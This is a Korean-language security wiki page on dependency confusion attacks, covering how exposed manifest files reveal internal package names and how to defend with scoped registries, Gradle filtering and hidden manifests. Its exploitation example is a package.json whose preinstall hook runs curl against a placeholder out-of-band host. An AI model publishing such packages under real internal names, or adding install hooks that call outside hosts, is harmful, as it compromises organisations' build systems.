Dependency Confusion

Introduction

Dependency Confusion은 supply chain substitution attack 으로도 불리며 서비스에서 사용중인 내부 패키지와 동일한 이름의 패키지를 등록하여 악의적인 패키지가 설치 되도록 유도하는 공격입니다.

gem, pip, npm 등 패키지 매니저에 따라 다르지만, 정확하게 명시되지 않은 상태에서 외부/내부에 동일한 이름의 패키지가 있는 경우 외부에서 패키지를 가져오기도 합니다. 이를 이용한 공격 방법입니다.

e.g

[ packages ]
internal: xspear
public: xspear

[ gem install ]
gem install xspear (installed from public)

Offensive techniques

Detect

github 등 소스코드 repository에서 직접 internal 패키지를 확인하거나 /package.json , composer.json 등 외부에 의도하지 않게 노출되는 패키지 관련 파일을 참고하여 패키지 관리 도구에 등록되지 않은 이름이 있는 경우 Dependency Confusion의 가능성이 존재합니다.

  • package.json (nodejs)
  • composer.json (php)
  • go.mod (go)
  • Gemfile (ruby gem)
  • requirements.txt (python pip)
  • pom.xml (java maven)
  • Etc..

이러한 패키지 관련 파일이 아니더라도 dependency 정보를 나타내주는 모든 페이지에서 dependency 정보를 얻을 수 있다면 테스팅 포인트가 됩니다.

Exploitation

npm. gem, pip 등 패키지 매니저에 공격코드를 포함한 패키지를 등록하는 형태로 exploit할 수 있습니다. npm 패키지를 예시로 들어보면 아래와 같습니다. npm 패키지에 필요한 package.json 파일과 main 파일인 js 파일을 하나 만든 후 scripts에 원하는 공격코드를 넣어두고 internal 패키지와 동일한 이름으로 public 패키지를 생성하고 등록하면 됩니다.

index.js

module.exports.hacked = function () {
    return "hacked"
}

package.json

{
  "name": "your-module-name",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "curl -i -k https://<OAST-SERVICE>"
  },
  "author": "hahwul",
  "license": "MIT"
}

Defensive techniques

Hide dependency

package.json 같이 서비스에서 사용하는 dependency를 알 수 있는 파일은 외부에 노출되지 않도록 제한하는 것이 좋습니다.

GET /package.json | 200 => X
GET /package.json | 404 => O

GroupID 선점하기

npmjs.com, pypi.org 등에 패키지 등록 시 owner(groupId)를 먼저 선점하여 공격을 방지할 수 있습니다.

Scope internal package

패키지 매니저에서 직접 internal 패키지를 위한 절대경로를 지정할 수 있는 경우 이를 통해서 임의로 외부 패키지가 설치되는 것을 방지할 수 있습니다.

NodeJS (npm)

npmjs.com에 명시되지 않은 패키지는 모두 영향을 받습니다. 단 .npmrc 등에 registry를 지정 명시하여 완화할 수 있습니다. CI 시스템 등에서 사용되면 자동화 빌드 상태에서도 완화가 가능합니다.

registry=https://internal.domain/artifactory/api/npm/npm-virtual/
@schibsted:registry=https://internal.domain/artifactory/api/npm/npm-local/
@another-example:registry=https://internal.domain/artifactory/api/npm/npm-local/

Python (pip)

pypi.org에 명시되지 않은 패키지는 모두 영향을 받습니다. pip의 경우 scope나 grouping 기능이 없어 직접적인 완화방법은 없습니다. requirements.txt가 외부로 노출되지 않도록 신경써야 하며 빌드 단계에서 dependency 설치 시 internal과 external나눠 internal의 경우 외부 통신이 불가능한 샌드박싱 환경에서 빌드한다면 internal 패키지 설치만 유도할 수 있어 나름대로 완화가 가능합니다.

Java (maven/gradle)

dependency 파일 작성 시 도메인 기반으로 사용하여 완화할 수 있습니다. 이외에도 5가지 정도의 방법이 더 있습니다.

  • Verifying dependencies with Gradle’s trusted-key
  • Repository filtering using includeGroup, includeGroupByRegex
  • Gradle Wrapper checksum verification
  • Dependency Locking
  • Reproducible Builds

Tools

References

  • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Dependency%20Confusion